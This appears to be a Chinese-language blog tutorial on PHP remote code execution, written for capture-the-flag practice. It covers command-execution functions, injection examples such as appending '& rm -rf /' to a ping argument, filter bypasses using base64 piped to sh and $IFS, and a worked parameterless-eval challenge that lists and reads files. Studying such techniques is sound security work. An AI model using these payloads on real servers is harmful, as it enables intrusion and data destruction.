RCE漏洞

RCE漏洞

RCE(Remote Code Execution,远程代码执行)‌是一种常见的安全漏洞,允许攻击者通过远程注入操作系统命令或代码来控制服务器。RCE漏洞主要分为远程命令执行(Remote Command Execution)和远程代码执行(Remote Code Execution),有时也将文件包含漏洞(File Inclusion)归为RCE漏洞‌

RCE漏洞的成因和影响

RCE漏洞的出现主要是由于应用系统在设计时需要提供远程命令操作接口,如果这些接口没有进行严格的安全控制,攻击者就可以通过这些接口注入恶意命令或代码,从而控制服务器。这种漏洞可能导致严重的安全问题,包括数据泄露、系统被控制等‌

1.基础命令执行函数

1.system()‌ 直接执行字符串形式的操作系统命令,‌返回命令执行结果‌,常用于需要直接获取输出内容的场景‌

若用户输入未过滤,可直接注入命令(如system($_GET['cmd']))‌

2.exec() 执行操作系统命令,‌仅返回执行结果的最后一行‌,若需获取完整输出需配合额外参数(如数组接收结果)‌

通过追加&或;拼接隐藏命令(如exec("ping ".$_GET['ip']." & rm -rf /"))‌

3.passthru()‌ 执行命令后‌将运行结果直接输出到标准输出设备‌(如浏览器或终端界面),不返回内容‌

4‌.shell_exec()‌ 执行命令后返回‌完整的执行结果字符串‌,但需通过echo或变量赋值输出内容‌

隐蔽性强,常用于无回显的RCE攻击链‌

2.进程级命令执行函数

1.popen() 打开一个指向进程的‌文件指针‌,允许通过读写文件流的方式与命令交互,适用于持续输入/输出的场景‌

2.proc_open() 与popen()类似,但提供更复杂的进程控制功能,允许设置输入/输出/错误流的管道‌

3.pcntl_exec() 在当前进程空间内‌直接替换为指定程序‌执行,不创建新进程,常用于PHP环境下的高级操作‌

3.特殊符号与语法

1.反引号 反引号包裹的字符串会被解析为操作系统命令并执行,功能等价于shell_exec()

2.管道符拼接‌ 利用|、&、&&、||等符号拼接多条命令,绕过简单过滤(如cat /flag | base64)‌

4.绕过过滤的常见方法

1.命令替代‌ 使用more、less、tac等替代cat读取文件,或通过curl file:///flag直接访问本地文件‌。

2.编码绕过‌ 对命令进行Base64、16进制等编码后解码执行(如echo "Y2F0IC9mbGFn" | base64 -d | sh)。

3.空白符绕过‌ 利用$IFS、${IFS}、%09(制表符)替代空格分隔参数‌

无参数读文件

什么是无参数?

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

例题:

复制代码
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

代码解析

复制代码
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
preg_replace替换匹配到的字符为空
\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_]
(?R)?这个意思为递归整个匹配模式

所以正则的含义就是匹配无参数的函数

无参数任意文件读取

正常情况下查看当前目录文件名

复制代码
print_r(scandir('.'));
第一种方法
复制代码
localeconv()

localeconv()获取本地化数字及货币格式信息的函数,数组第一项就是"."

字段名 描述 示例值(C 区域)
decimal_point 小数点字符 .
thousands_sep 千位分隔符 ,
int_curr_symbol 国际货币符号(如 USD) USD
currency_symbol 本地货币符号(如 $) $
mon_decimal_point 货币小数点字符 .
positive_sign 正值符号 空字符串
negative_sign 负值符号 -

current()返回数组中的单元,默认取第一个值

复制代码
print_r(scandir(current(localeconv())));

成功打印出当前目录下文件:

第二种方法

chr(46)

chr(46)就是字符"."

chr(time()):

复制代码
chr(time()%256)`,随时间周期性生成 `.

chr(current(localtime(time()))):

数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."

第三种方法

phpversion()

PHP版本,如5.5.9

复制代码
floor(phpversion())------5

sqrt(floor(phpversion()))------2.236

tan(floor(sqrt(floor(phpversion()))))-------2.185

cosh(tan(floor(sqrt(floor(phpversion())))))------4.501

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))------45.081

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))------46

最终使用

复制代码
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."
第四种方法

crypt()

crypt() 可以生成带 . 的哈希

复制代码
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)

1

相关推荐
howdoyoudo2026062 小时前
AI审计手记 #28:从“暂停训练”到“切断联网”——AI安全控制手段的极限升级
大数据·人工智能·安全·ai·语言模型
xiaohaiAIgeo6 小时前
【2026年】通风柜自动门安全吗?联锁逻辑与防夹设计
人工智能·安全·科普知识
·云扬·7 小时前
Prompt 工程与安全:从 System 设计到注入防御
java·人工智能·安全·ai·prompt
滕州市燕猫虎计算机科技工作室个体工商户8 小时前
《Rust程序设计》学习笔记八:结构体
笔记·学习·rust·rust程序设计
志尊宝9 小时前
Vue3 零基础每日笔记(082):文件上传实战——el-upload 校验、自定义上传、头像预览
前端·javascript·vue.js·笔记·#javascript·#vue.js
QZ166560951599 小时前
金融数据流转监测排行:从看见到拦截的距离
网络·安全·网络安全·金融
后季暖10 小时前
电商问数笔记(2)
笔记
xier_ran10 小时前
【infra之路】AI 编译器学习笔记(二):重拾 C++——移动语义与 LLVM 风格的类型转换
人工智能·笔记·学习
看着博客敲代码10 小时前
WorkBuddy 接上 Kali MCP 做自动化渗透:信息收集到初步验证的落地记录
linux·人工智能·安全·网络安全·自动化
里昂00712 小时前
发工单前,怎样清理 JSON 日志而不破坏排错信息?
安全